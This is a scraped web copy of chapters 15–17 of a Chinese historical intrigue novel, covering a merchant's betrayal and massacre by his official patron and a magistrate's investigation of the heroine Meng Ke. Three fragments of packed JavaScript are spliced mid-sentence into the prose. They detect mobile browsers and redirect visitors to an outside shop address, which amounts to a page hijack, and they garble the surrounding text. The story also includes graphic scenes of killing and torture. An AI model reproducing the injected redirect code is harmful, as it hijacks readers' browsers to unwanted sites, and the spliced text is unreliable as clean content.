l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999111|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...那想立功、能办事的人，永远不缺。凭什么在一众人中，单单给你机会？就凭你厉害？就你一人厉害？ 别看是同僚，看似做的一个差事，拿的一样俸禄。在上头眼里，这每个卒子能上棋盘的原因是不一样的，分量是不一样的，用处也是不一样的。 能立功的事，给谁不给谁，看什么？看的是给谁对上头最有利。 而况衙门里的事......算不算立功，很多时候就是上头一句话的事。” “这青云路要走，最要紧的便是知道自己是什么卒子，在上头的那盘棋里，能有什么用。” “若背后无人，手中无银，那便只能吃苦卖命。那便得认清自己的位子，好好吃苦卖命——须知，便是那吃苦卖命的位置，也都是要靠抢才能得的！” 樊仲荣叹了口气，笑道，“这些大实话，要没些阅历的人，我也不同他说。不只听不懂，还只当我是看不起人，教人认命，甚至是拿了上头的好处，来糊弄人呢。 可经过事的才能明白，这些都是拿自己的命去硬碰硬，吃过亏，给骨肉至亲才掏心窝子说的话。” 樊仲荣叹了口气，想到了自己，端起酒一饮而尽，半晌才无奈地笑道：“这会做事的人一大把，会做人的也不少。全无倚仗的......便得既会做事，又会做人。因为在这做事、做人之前，有那许多既不需做人，也不需做事，便能骑到众人头上，坐享功劳的。” 说着，樊仲荣回到正题：“这做生意要本钱，做官也要本钱。” 那青云路要靠功劳来铺，可那立功的路，还得银子来铺。 又把银子推向曾怀义，“我当时若说了，怕怀义兄今日就不肯来了。” 其实，他是怕当下夸了海口，万一凑不出，情份没做不成，反而失了信用。 他如今对外说是老板，其实不过是仗着前老板提携，允他在自己店里搭着摆了几个柜。这三百两还是他支了货款，又四处找了人借，才好不容易凑得的。 这些，他自不会同曾怀义提，只给他提气道：“怀义兄如今不过是虎落平阳，日后有你的好日子呢，不必灰心，更不要为此折了志气。” 曾怀义拱手一礼：“如此，我就借了老弟的，日后定加倍奉还。” “你我之间，说借就见外了。但凡我有，你拿去用就是。”樊仲荣说着，又一笑，“你当我今日为何来迟了？我是自作主张，替你约了几个衙门的弟兄，今夜吃酒。怀义兄，莫要怪我擅自做主才是。” 曾怀义端起酒：“大恩不言谢，且看日后吧。” 樊仲荣道：“什么恩不恩的，怀义兄这么本事的人，只是当局者迷，一时没想到罢了。” 曾怀义自此开了窍，而这二人的称兄道弟，自此也真有了兄弟的意思。曾怀义有樊仲荣献计打点，樊仲荣有曾怀义保驾护航，一步步在各自的路上腾达起来。 数年后，樊家大宅。 樊仲荣匍匐在泥地里，看着家人一个个倒下，就跟他还是小伙计时，被劫杀那日一样。可这次倒下的，不是商队同僚，而是骨肉血亲。 他抬起脸，血水混杂着泥水流下，手脚并用地爬过去，抱着曾怀义的腿，哭求道：“怀义兄，不，曾大人，我什么都交出来，你就放我家老小一条生路吧。” 曾怀义缓缓蹲下来，看着他，叹了口气：“仲荣老弟，这青云路都要靠功劳来铺，可那立功的路，还得银子来铺。这还是你教我的。” 15. 盘中餐 衙门里罗织起罪名，准备查抄樊家的时候，樊仲荣经营多年的人脉，闻风便“唰唰”断了。 那经年累下的千丝万缕中，只那么一根，有一丝不落忍，偷偷与他送了信。 得了信，樊仲荣不惊也不惧，而是异乎寻常地平静。 ——他知道这日早晚会来，反而有种靴子终于落地之感。 他重谢了人，抱了个小锦盒，乘夜去找曾怀义。 ——办法也是早就想好了的，主动献出所有家财，只求保住一家老小性命。若就他一人，连夜跑了就是，可如今拖家带口，还都是老弱妇孺，总不能下半辈子都流亡吧。 到了曾家，关门闭户，拒而不见——也不意外。 樊仲荣抱着盒子奔走了一夜，将所有可能说得上话的人都找了一遍，避而不见者有之，落井下石者有之，同情者......虽不多，但也算有之，可那能出力的，却是一个都没有。 到了这步田地，不诓骗他都算有良心了——当然，主要是不敢虎口夺食。 从最后一家出来，已是子时过半。樊仲荣没上马车，拖着无力的双腿，漫无目的地向前走去，管家默默跟在他身后。 夜半，路上空无一人，只听得主仆二人的脚步声，伴着马蹄儿声，车轮滚在地上的嘎吱声，间或传来远近的狗叫声，马儿不时的喷鼻声。 樊仲荣挨家挨户求人时激起的惊涛怒浪，到此刻，已褪去，什么都远了。 他脑子里异常地空，耳朵里只听着自己的脚步声，车轮声，一声，又一声...... 不知走了多久，夜色渐渐褪去，脚下的路慢慢亮了起来，开始看得见地上的坑洼泥涂。 他这人还不笨，运气也不差。人生路行走至今，虽每一步都不容易，但总算是突围过重重障碍，越过不少沟坎，可这一次...... 这一关，真就过不去了吗？ 天上撒起了雨星。 樊仲荣抬起脸，雨粒细细密密地敲在脸上，凉凉的，竟有一种奇异的舒适感。 他闭上了眼睛，感受着雨星一点点变大，变快，变有力，心中突然升起一个从未有过的念头——啊，这副皮囊，它能清楚分辨雨滴敲击的不同力度，能觉着那细微的凉意变化。 不过，它还能挺立几时呢？只怕，待到明日此时...... 想到此，他慢慢睁了眼，看向东方泛起的一线鱼肚白。 新的一天又要开始了，可他的一生却要结束了。 雨越下越大，他不以为意，反而感受着衣服一点点浸湿。 他就那么站着，死死地盯着那一线晨白，一双熬得通红的眼睛快要瞪出眶来，似乎想用目光，将那一抹白，硬生生地摁回去，让时光倒转，哪怕只多一日......让他再想想办法，安顿下家小。 “老爷？”管家撑伞过来，轻唤了一声，“回去吧。” 樊仲荣僵直的身子微微一动，无声地叹了口气，转身上车。 他的腿早僵了，杵着两根棍子似的挪到车前，竟抬不起来，反而一跤下去，跌趴在马车上。管家忙上前，将他扶了上去。 在车里坐下，褥子很快洇湿一片，他却浑然不觉，心中一片死寂，闭上眼，就被汹涌而来的困意淹没了。 才刚闭上眼，下一刻，便听管家唤道：“老爷！到了。” 这时，樊仲荣心中若有所感，猛地抬手掀帘一看，有个人站在门口。 正是曾怀义。 他心中突突地，难道......他终归不忍，看着这些年情义，愿意放自己一马？ *** 樊仲荣几乎是跳下马车，几步冲了上去，奔到曾怀义身旁，刚要说什么，却嗅到了空气中的什么味道。 等反应过来，他浑身陡然一个激灵。 那是新鲜的血腥味，随晨风直送入他鼻中。 樊仲荣双腿一软，踉跄着冲进门去，绕过照壁，只见尸横遍地，血水横流。 他的老母、妻儿和姬妾齐齐跪在刀下，一看见他，便呼喊哭求了起来。 提刀的人一看见他，笑道：“就等着家主您呢。” 樊仲荣浑身瘫软了下去，赶忙扶着照壁站起来，撑着墙，匆匆往外奔去。 走出几步，就见曾怀义负着手，在下人撑着的伞下，走了进来。 樊仲荣看着他，扑通跪了下去，将锦盒放在面前，往前一推，伏倒在地：“大人，大人，我……甘愿为大人驱策，做您最忠心的奴才！只求大人......留我一家性命。” 曾怀义不语，抬手一挥。 狞笑声起，女人惊惧的尖叫声戛然而止，一个接一个地扑通倒下。 血，一道又一道，飞溅到樊家母亲脸上。 老人一手揽着几个儿孙，一手抬起，指着曾怀义，抖得像个筛子。 樊仲荣看了母亲和孩子一眼，哭求道：“这些年，我为大人做了多少事？我这把骨头虽贱，但对大人还是有些用处的，不是吗？” 曾怀义闻言哼笑了一声，蹲下来，从袖中掏出一把匕首，在他后脖子上来回蹭着：“对啊，你知道那么多事，岂不是更留你不得了？” “大人，要我永远闭嘴，还不容易么？您一句话的事。”樊仲荣顶着匕首，慢慢抬起头来，锋利的刀刃立刻破皮而入，血珠沿着刃口凝结成线，流向刃尖，滴在他背上，马上便被雨水冲散了。 他一动，曾怀义的匕首便一施力，往下按去。 樊仲荣身上抖着，却仍强抬起头来，后脖子上的皮肉，随即开绽，血珠顺着脖子朝下乱流。 “只求你看在我......多年忠心的份上，放过家中老母，还有那几个孩子。他们什么都不知道！” 话音未落，樊家母亲轰然倒下，血水和着泥水飞溅起来，糊了她脚边的孩子们一脸。 樊仲荣闻声转头看去，呆怔了半晌，眼泪和着雨水、血水乱流而下。 他转回头来，猛地一头磕进血水泥浆里，喉头抖动，一时竟有点发不出声来：“求……求大人，饶我……儿一命！一条，就一条命！我樊仲荣来世......不，生生世世，做牛做马，报大人恩德！” 曾怀义抬起匕首，叹了口气，看向几个孩子道：“一入公门深似海，举动半点不由人。” 说着，将匕首放在眼前，转过来又转过去。 上面的血在雨水冲刷下，眨眼就变稀，变淡......不见了。 他一笑，猛地抬手一扎…… 樊仲荣伏在地上，正要抬头，还没觉得疼，就被那一扎的力道按下，身子一塌，砸溅出一汪泥水。 曾怀义往后一缩，仍溅了一身。 樊仲荣背上，鲜血旋即浸出，马上便被雨水冲开，混入了地上的泥水中，四处流着，浸入了曾怀义官靴里。 “仲荣老弟，我也不想的。” 曾怀义用力地、慢慢地拧转着匕首：“这青云路要走，最要紧便是知道上头要的是什么，不是吗？你就……再帮我最后一回吧。” *** 樊仲荣“啊”的一声，猛抽一口气，惊醒了过来。 他抬手摸着心窝处，那里从后背传来一阵阵尖利的刺痛，仿佛那把匕首还在，还在被人慢慢地、用力地拧着、转着。 这些年，他反反复复做两个梦，一个是赠银那日，一个便是雨中跪求之时。后来，这两日的画面混杂起来，时而同曾怀义把酒言欢，时而哭求跪叩，时而......又与其生死相博。 主动献出所有家财，却还是难逃灭门。可要说悔，他却也不悔，当年的自己别无他路。 做官最要紧的是靠山，做生意最要紧的也是靠山。以他当时的财力，什么真山都别想靠上。他寻摸了许久，才选中曾怀义这么一个有能耐的，拿那三百两赌了一把。 他赌赢了——曾怀义果真青云直上，却也输得一塌糊涂。 拉拔他于鸟尽弓藏之际，却也陷自己于兔死狗烹之局。 想赚钱给家人安身立命，却也因此落入待宰羔羊的命运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999112|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可他知道，那既是他难逃的命运，也是他唯一的机会，只能一赌，而曾怀义已经是他最好的选择。 谁让他无权无势，无财无貌，只能凭着手脚勤、脑子快，当个最末流的商贾呢？ 自古以来，商贾不就是官家的盘中之餐吗？ 但他樊仲荣这辈子，就活一个不认命。别人来宰他倒也罢了，偏他曾怀义不行。 在地牢里日久，眼睛早已适应，他抬眼看看黑暗中的某处，露出个轻笑来——囚在暗无天日的地方如何，换着方儿地折磨又如何？他这辈子置身的暗牢，太多了；受过的折磨，也太多了。 而他能苟活至今，便是上天都要留他，向曾怀义讨债。 *** 周冶问的是杀人害命、谋夺人产，高升说的也是谋夺人产——咬死了只谋财、未害命。 这老小子精得很，跟了曾怀义多年，也熟谙刑律。谋财罪轻，害命就不一样了。他还反问，不然那樊仲荣如何活着？ 而霍家案，高升说的，跟洗墨打听来的，差不多。 周冶知道，那都是卷宗里的说法，真那么简单，孟珂也没必要让他去查了。 再问到粱、霍两家大火的事，那高升咬死说是意外——涉及的人命太多，够死几回了。 这些时日，周冶查了查粱、霍两家，得知那粱家的资财甚为丰厚，人丁又单薄，只怕也难逃谋财与害命二事。 高升这样奸滑的东西，周冶自然没指望他一次吐干净，但想要就此糊弄过去，也不可能。 这些虾啊蟹啊，就养着，慢慢吐沙呗。 高升自己都不着急出狱，他就更不急了。 出得大牢，洗墨低声悄问：“公子，那高升要是发现那人没死怎么办？” 那伤者早就从鬼门关拉回来了，只是周冶一开始就封死了消息，对外只说苟延残喘，就是为了好好压压高家父子的气焰，给他们点教训。 不想，曾怀义竟出了事，倒正好用来钓这父子了。也算是老天有眼，无心插柳一遭。 周冶笑道：“大好事啊！儿子不用赔命了，他该高兴啊！” 洗墨道：“知道被您这么算计了——只怕没那么容易了结。” 周冶边走边道：“他是敢找衙门麻烦呢，还是敢到处宣扬我们诓他？他父子俩，一个卖亲爹，一个卖主子，这个闷亏吃定了。若他们傻到自己说出来，那倒有好戏看了。” 洗墨仍将信将疑：“当真？” “也说不准，哪有一定的事。不过也无所谓，”周冶停了步，拍了拍洗墨肩膀，笑道，“骗那父子俩的话，可都是你说的！” 说完，大步而去，身后留下一句，“我可什么都没说。” 洗墨在后面幽怨地大叫道：“公子你——！” 周冶微微侧首，睨了他一眼，心中笑道，胆小惜命，对洗墨来说不是坏事。以他那滑头劲儿，若自恃聪明、无所顾忌，倒总有一天会栽在这上头。 *** 熹园，烟屿斋。 门吱呀开了一条缝，回雪一手端了托盘，一手小心地扶着门，从缝里挤了进去。但北风如灵蛇一般，见缝便钻了进去。 书案上的灯火摇了几下，孟珂抬起头来，将手炉上的左手拿起来，搓了搓写字写得冰凉的右手。 回雪把托盘放下：“小姐，冷酒伤身，还是热一热再喝吧。” “给我。”孟珂朝她伸手，“我心里躁得慌，正要冷酒来压呢。” 回雪只好斟上一杯，却先不给她：“那便少喝几口。” 孟珂敷衍地点了头，接过来就先灌了一大口下去。凉酒入肚，一路凉到腹中，她浑身一个激灵，吁出一口气来，腔子里的燥热总算平了些。 她这才道：“衙门里的消息也该来了。” 回雪点头：“刚刚来报，周大人审过高升了，如小姐料的，人还扣着，不会放。” “好！值得再来一杯！”孟珂笑道，“这高升一审，我的困子，便可解了。” 16. 台阶 几句话间，孟珂两杯酒已下肚。 回雪眼尖，给她斟上第三杯，便将酒壶拿开，放到火盆边煨着，转身回来。 “小姐如何能算得，曾府升迁宴那夜的一把火，能起到这样的妙用？既助周大人收押了高仲，审了那高升，还能帮您的困子解围。这就是......一石三鸟。” 那一夜，高仲酒醉打翻了烛火，燎了他躺的褥子。这时，有一人走了进去，捡起那起火的褥子，救了他一把，也坑了他一回。 回雪想起什么，笑着改口道，“不，是四鸟，还训了曾怀义那......死鸟一顿。” 孟珂淡淡的：“这行棋布子，本就要走一步看三步。” 回雪道：“话是这么说，可怎么才能多看那三步呢？能走好一步，都不错了，如何能算中三步？” 孟珂手炉上的右手暖过来了，换过左手的酒杯，又把冰凉的左手放了上去：“这便是父亲为何要让我花几年时间，去游历，去做事，去‘见自己，见天地，见众生’。” “但凡对这三者了然于心。看一个人，便知其为人处世。看世间之事，便能预判其走向。如此，把什么样的人放在什么位置，可能发生什么事，又要怎么料敌于先、预先铺排布置，便都心中有数了。” 说着，又补了一句，“自然，这份有数，亦需考虑变数。再能谋算的人，也要预留变数。而变数一生，考的就是机变了。” 听她如此说，仿佛心中就有这变数之人。回雪想了想，恍然：“就比如这周大人？” 孟珂笑着看她，点头道：“对，他便是我这......局中的一个变数。” “那小姐此前对他的种种做法，都是机变？那这机变，又当如何变呢？” “我最开始做的，不过是不让他挡路。但那只算得下策，只因在不够了解的时候，需得先保持距离，观察观察，看清这个子，再决定是吃，是收，还是放。” “那什么才是上策？” “像他这样有能耐的，上策嘛，自然是让他......”孟珂顿了顿，才道，“为我所用。” 回雪瞧她面上似有一丝犹豫：“小姐有顾虑？” 孟珂思索着道：“他......不一样。他不是无关轻重的小卒子，也不是任人轻易拿捏的。将帅之才，拿不住是要倒遭反噬的。” 若可以，她不希望跟他敌对上。 回雪看她，倒不像是担心那周大人坏事，更像是有一种不愿...... 果然，就听她又补了一句，“况且，他跟此局无关，本不该入局。” 若可以，她也不希望牵连他这样的无辜。 *** 回雪跟了小姐多年，给她搭手，当家理事是好手，但论权谋，算人心，就有点够不上了。 她只不免忧心道：“小姐这般日夜思虑，极耗心神。府里的信又雪片似地，日日飞来。这又到年下了，只怕......你的旧疾——” 孟珂无所谓地道：“怎么都是要犯的，瞧我，今年不是比往常还撑得久些？” “这话可说不准。哪次不是没征没兆的，说话就犯？” 孟珂不知是坐久了，还是憋闷了，站起来，缓步走到窗前。 回雪看着机会，忙将空掉的酒杯收了。 孟珂看着外面的夜色，怅然中带着疲惫，道：“七年了，那七年里，什么都不能做的时候，才最是煎熬......如今，不管多难多险多累，每走一步，我这心里的熬煎，都能少一分。” 说到此，她的眼睛转瞬红了，暗暗地深吸了一口气，随之徐徐吐出，那心底的暗涌，便压了下去。 每每看到小姐这样，回雪便会想起儿时春耕的时候，她总爱跟着大人去河口看放水。一道堤坝，便将一条大河拦下，蓄了一冬的水，只留几股细流，乖顺服帖地涓涓而下。 而小姐，仿佛就竖起了一道人形的堤坝。 她能将滔天爱恨，纷杂心绪，全都牢牢锁在那堤坝之内。偶尔像方才那般溅出些许水花，也顷刻间便回落了。 她仿佛练就了某种神功。无论什么样的大事，在她这里，只需一息，便能一平如镜，谈笑如常。 这不，她已经回身坐下，继续处理起卢府事务来。 回雪在一旁，把她写好的信，叠好装封：“在京中的时候，没有脚程耽搁，这些事还可以略放一放。咱们如今远在绥陵，为了不误事，日日都要处理完了才休息，反倒比在京中更辛苦了。” 说着，看了孟珂一眼，“二公子千叮万嘱，小姐一不可思虑过多，二不可操劳过度。依奴婢说，要不就让他替您分担些吧，这样他也能安心些。” 孟珂看着她，眼中感激她的体贴：“这些都是我一人做惯了的，一时之间，谁也插不上手。再说，二哥哥不惯理这些事，能分担什么？” 他也不能理。 回雪又要说什么，孟珂忙搁了笔：“好，好，好，我也偷偷懒，能推则推，能拖则拖就是了。去铺床吧，明日还要起个早。” 自家小姐向来无事不出门，回雪奇怪道：“要上哪里去？” 孟珂笑着看她道：“我明日偷个懒，咱们逛逛街，买买东西，可好？” 逛街？回雪心说，我怎么不信呢，那不是浪费宝贵生命的事吗？买什么东西，能劳动她的大驾？ *** 这些日子，周冶勤勉得连自己的小厮们都不习惯了。 出得大牢，回到书房，连一向熬得住的涤砚都在呵欠连连，直犯困了。 周冶扫了屏风一眼，自嘲地摇头一笑，孟珂这一招接一招的，就是想让他应接不暇，没工夫去盯她吧？好像还真让她如了愿。凶嫌连一个都没锁定，还仿佛坠入了蜘蛛网，那叫一个千头万绪。 他的好日子，从她出现在云鬓山那日，好像就到头了。 他来这绥陵城，明明就是躺平来的，前几个月都好好的，怎么突然就杀出了个女程咬金，女咬金，嗯，是还挺......女妖精。 明明很累了，可躺下却翻过来覆过去，脑子里走马灯似地不停转着。 若梁家跟那樊家一样，都是肥羊，那霍家呢？ 霍家并无多少资财，不足以成为猎杀的对象。若非要说苍蝇再小也是肉，乘着猎杀梁家之便，顺手收了，但做出强/奸/幼/女那等最容易引得街谈巷议的案子，完全不像他的手法——收益很低，风险极大，全无必要，他没那么傻。 难道......是这霍家有什么特殊之处？图谋的不是财？ 难道是......复仇？可这霍家大多是被判死、判流放，哪有梁家、樊家来得惨烈呢？ 还有，那樊家被灭门，霍家也等于断了根，为何会容许梁家独留了一个孤女？ 即便梁家女儿投了亲，要意外了她也不难。斩草不除根，也不像曾怀义作为。 曾怀义、樊仲荣，霍家小姐、粱家小姐……屏风上的那些纸片，在他脑中反复来去。 突然，有什么念头飞快地闪过，周冶从床上弹起来，冲到书房的屏风之前，摸黑盯着，抬手挪动了什么。 手，也因为激动而微微颤抖了起来。 *** 后半夜又是一场乱梦，早晨醒来，周冶只觉得浑身疲惫。但他越是被这些事搅缠得疲累，越想早点搞清楚，今日定要去找那池老板，探个虚实，于是，仍撑着起来。 洗墨端了脸盆进来，说有人来报，那发现曾怀义尸体的人来告状了。 “告状？告谁？”周冶手刚放入铜盆，惊得转身问道。 那人他知道，叫虞三，是太守陈万霆的家仆，此前作为证人，已反复被讯问了多回。 周冶看了看侍剑，又看洗墨：“你们谁问话的时候，欺负他了不成。” 那两人正要分辩，涤砚推了门进来：“他告的……是霍家案的那个主母郑氏。” “郑氏？！”周冶又一惊，从盆里抬起脸来，水珠顺着脸流下，衣服前襟顿时湿了一片。 侍剑都呆了。 洗墨听了噗嗤一笑：“她能杀了曾怀义，那我就是武林高手了。” 说着，学着侍剑练功的样子，手软脚软地比划了两个动作，想以金鸡独立的姿势帅气一收，可惜站不稳，晃了一下差点正面摔下，只好作罢。 那郑氏是霍家小姐的生母，却强逼女儿就范，是主谋之一。可判到她身上，主审一时犯了难——她不是男子，不能判强/奸之罪，一时竟无律例可依。 更奇的是，她后来竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周冶没接话，转而问：“撞见这郑氏之事，你家夫人可知道？” 虞三脱口道：“夫人不知。” 说着，又补充道，“夫人昨夜之前不知。小的知道此事事关重大，一直未敢说，直到昨夜才秉明了夫人。但夫人心善，万万不信，又千叮咛万嘱咐，说这无证无据的，万不可随便对人说，只怕冤枉了人。” 周冶“哦”了一声，笑道：“那你如何不听夫人之言？” 虞三道：“小的原也打算，就听夫人的，可昨夜......” 说着，压低了声音，哆嗦着道，“昨夜里，小人竟梦到了曾大人。他眼里流出血来，说我知情不报，让他死不瞑目，我若再不说，要掐死我呢。” “醒了一看，脖子上果然有伤......再一想，夫人心慈，哪里知道这世间就是有那心如蛇蝎、永无悔改的毒妇。故而......斗胆瞒着夫人来了。还望大人明查。当然，最好......不要对人说，是小的来报的！” “您是想用那郑氏，给此案做个了结？”县衙外，街头如织的人流里，一个嬷嬷低声道，“只怕这一个郑氏不够……” “一个不够，便多给几个。” 一个头戴帷帽的女子似笑非笑地道，“这曾怀义是个好钩子，可不能浪费了。我自要用他，将那些漏网之鱼，一条接一条，都串起来……” 嬷嬷拿不准：“那周大人，可会如我们所愿？” “这位公子县令，几时勤政过？如今这么焦头烂额地天天查案，那张小白脸儿都憔悴了几分。我们帮他一把，把这案子了了，岂不是皆大欢喜。” 说着，她转身看了衙门一眼，“这台阶丢过去，他若不下，自然也有人来推着他下。” “京城那边，人也该到了。再催一催，务必查得详实！” “是。” 衙门里，周冶知道再问不出什么，将虞三交给涤砚，匆匆奔池老板家去了。 这么一耽误，到了嘉县城已近晌午，早膳未曾吃上，此时也顾不上用午膳，主仆三人便直奔那池记去。 周冶跨进店门，一抬头，内堂里正好走出个人来。 还是个他认识的人—— 17. 狂想 昨夜躺床上的时候，周冶心中跳出了个狂想，来的这一路也正自琢磨，猝不及防抬眼看到孟珂，吓了一跳，还以为自己想魔怔了。 定睛一看，不是她是谁。 孟珂看见他却不意外，一脸“好巧”地走上来，笑道：“周大人也来......买家具？” 店里摆着各色古董家具，什么朝代形制的都有。 周冶扫了一圈，笑道：“我家涤砚昨日才找到这家店，小姐今日便来了，到得比我还早。堂堂县衙，也跟筛子似的，倒该补补了。” 孟珂笑道：“大人自己的衙门，漏不漏的，我这个外人就不清楚了。就是这个‘也’字，也不知从何说起。” 周冶看着她，憋闷地道，“小姐既是自己想要，直说就是了。何苦让我白折腾这一回，耍我玩呢？” 聪明的女人他自也见过不少，可孟珂心机之深沉，让他不得不打起精神来对付。 现在，比起想快点破案了事，他心下更多的是一点隐隐的不服气，不能就这么被她牵着走，非要挣开个口子不可。 这么想着，下半夜竟乱梦，发现自己粘在一张巨大的蛛网上，哪里都是路，却又哪里都牵丝连线，想要挣开却又挣脱不得。 这时，一个纤细的人影，顺着蛛丝轻捷地滑下来，半坐半倚在蛛网上，俯身笑着看他。 正是孟珂。 他觉得自己被粘成个大字的样子，实在很不公子，奋力一挣，就醒了。 他走近几步，在孟珂耳边低声道，“来得这样早，东西可抢到了？” 孟珂眼皮也没抬，抬手抚过手边的一张条几，看了看木质纹理，又手指倒扣其上，笃笃地敲了敲：“这店里东西多着呢，我还能都搬空了不成？” 周冶“嗯”了一声，看向内堂，“想是，好东西都在里头。” “大人自己看去吧。”孟珂道，“我就不耽误你了。” 说罢，风姿摇曳，出门而去。 周冶瞧着，根本是故意摇曳——嘚瑟给他看的，愤愤地转过身，看着她的身影汇入人流，也没想出句够厉害又不失公子气度的话来，一时更憋了。 不过，他倒也没忘使个眼色，让侍剑跟了上去。 *** 池老板掀帘从内堂出来，看周冶一身华贵，想是个大客户，笑着迎上去，热情招呼：“公子，今日想看些什么？” 说着，抬手示意伙计，奉上好茶。 周冶回过头来，看着他一笑：“刚才出去的小姐要什么，一样的，给我来一份。” 池老板向后一仰，笑了：“公子说笑了。那位小姐什么都没看上，小的生意没做成，指着能为公子效点什么劳呢。” 说话间，周冶上下打量了他一遍。 这池老板看着很有几分英气，态度热情，却不谄媚心虚，与寻常商贾有几分不同，是公门中待过的样子。 一旁的洗墨适时地上前自报家门道：“这位是绥陵县令周大人。” “哟！今日真是好日子，贵客盈门，小店蓬荜生辉了！”池老板见伙计端上茶来，摆手就让撤，“换了上好的来。” 说着，将二人延请进内堂坐下。 县令亲至，礼数自是更加周到，接待也愈发热情，但一说到霍家案情，他果然又装傻充楞了起来。 可此人一不在公门，二也不在绥陵治下，倒是威逼利诱都不好使。 周冶并不意外，倒是更好奇，那孟珂可有收获。 他方才一见她就出言试探，但她到底是早知这池老板在此，还是借他之手才挖出，一时倒也难说。涤砚和洗墨先后在衙门里闹了两通，传出去并不难。 倒是那郑氏，出现的时机也太寸了。 他昨日才听说霍家案，开始找线索，今日一早就有人把主犯给送到面前了，这到底是谁的手笔？为何找线索的时候，衙门里没人提起这个人？ 在池老板这儿一时半会儿是突破不了，碰到孟珂兴许倒也不白走这一趟。周冶还是好脸好色，留着池老板这条线，日后徐徐图之。 周冶告了辞，池老板一路送出来。 迎面一个妇人走进店来，却转着头朝外四处张望着，差点撞上周冶。 周冶闪身后退，伸手一扶，好歹没摔下去。 那妇人慌乱中看向几人，都是非富即贵，忙又腿软要跪，又被扶了起来，见确实无人追究，这才看了几人一圈：“哪位是池老板？” 池老板站上前：“是......有东西要出吧，请内堂去坐。” 说着，朝周冶看了一眼。 周冶有心放慢了脚步，只听那妇人道：“老板前些日子在，看过的那个老东西，可以上门去取了。就是那价格嘛……” “好说，都好说，里面去说……” 说着，转身看了周冶，见还未走远，又笑着拜下去。 周冶不好再耽搁，假装扫了一眼门口的花几，转身大步去了。 “好好查查这池老板，还有他这池记。我总觉得......没那么简单。” 洗墨答应着，无力地抬眼一看，已经日上中天。 他早饿得头晕眼花，方才在池老板处吃了些茶果垫巴，但终究不顶用，这会儿只想寻个酒楼，好生吃一顿。这嘉县倒也繁华，来都来了，该好生吃一吃，逛一逛。正要开口，却见公子径直走了。 他忙跟了上去：“公子，上哪儿去，这早饭都还没用呢——” 走了一路，公子突然停了步，洗墨抬眼一看，是家纸笔铺。侍剑站在门口不远的小摊后，朝里面使了个眼色。 *** 这嘉县的纸，又叫禅工纸，最适合书画。传说是一位酷爱书画的禅师毕其半生研习所得。这禅师不像寻常工匠，全无藏私，倾囊相授，让这嘉县百姓得了一门传世的手艺，也造福了天下好书爱墨之人。 自那以后，这嘉县的纸历代都进贡宫中，花笺制作也渐渐形成特色，常有推陈出新之品。 孟珂已选了好几种，叫老板拿了样品来试。 “这嘉县的纸乃是一绝。”周冶走到她身边，一边抬手翻看，“而小姐挑的这些，更是上乘，果真是行家。” 孟珂眼都没抬，笑着点头道：“自然，既来了这儿，少不得要看看。大人不也是吗？” 一边说着，一边又抬手点了几种。 老板将纸品摆好，笔墨伺候上来。 周冶习字作画也爱亲自挑纸，也凑了过去。 孟珂坐下，一手拉着袖子，一手蘸墨，提笔一点下去，手上滞了一瞬，又接着写了下去。 周冶凑上去倒不为看纸，而是有心想瞧瞧她写字——他试纸笔的时候，随手一写，往往就是那几个字。 果然，她那第一笔下去后，显然惊觉了，顿时改了主意。 眨眼间，第一个字已经写就，是个寒字。 可那寒字的位置显然偏了些——前后两个字的起笔位置不同，瞬息之间，也来不及想出更合适的。 周冶瞧得很清楚，那起笔是个完整的斜点——显然不是孟，也不是霍。 她不经意间写的，很可能是梁！ 这一看之下，周冶心跳如鼓。 前一夜，他从床上惊坐而起，冲到屏风前，将那原本摆在梁夫人之下的粱家二字，摆到了孟珂之旁。 对了！这就通了！ 他在黑暗中一拍手，只有梁家小姐，才会想揭开曾怀义的真面目，也不在意揭开霍家小姐的过往，掀开霍家案真相。 与曾怀义有仇的，不只是樊仲荣，还有他背后的梁家小姐——很可能就是孟珂。 不，应该说，曾怀义真正的对手，从来都不是樊仲荣，而是梁家小姐。 原本还觉得只是自己心中狂想，如今得了哪怕一丝一毫的确认，也足以让他激动起来——如果她是梁家小姐，她就不是那受害幼女， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999114|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有经历那些惨绝人寰的折磨。 自从听到霍家案以来，他心口便仿佛有什么东西塞着，这下骤然消失了，不由长长地吁出一口气来。 但这份轻松里，登时也泛起些内疚——不管哪家小姐遭遇那等事，他似乎都不该为此有“庆幸”之感。 他心中又惊又喜又乱，牢牢盯着孟珂，而孟珂脸上不动声色，运笔如飞。 一句诗已经写就，“寒炉重暖生红焰，腊酒新开琥珀香。” （唐·白居易《问刘十九》） *** 周冶正自盯着孟珂出神，猛然间听她叫自己：“周大人，可否借我点银子？” 周冶“啊”了一声，反应过来：“什么？哦，银子？” 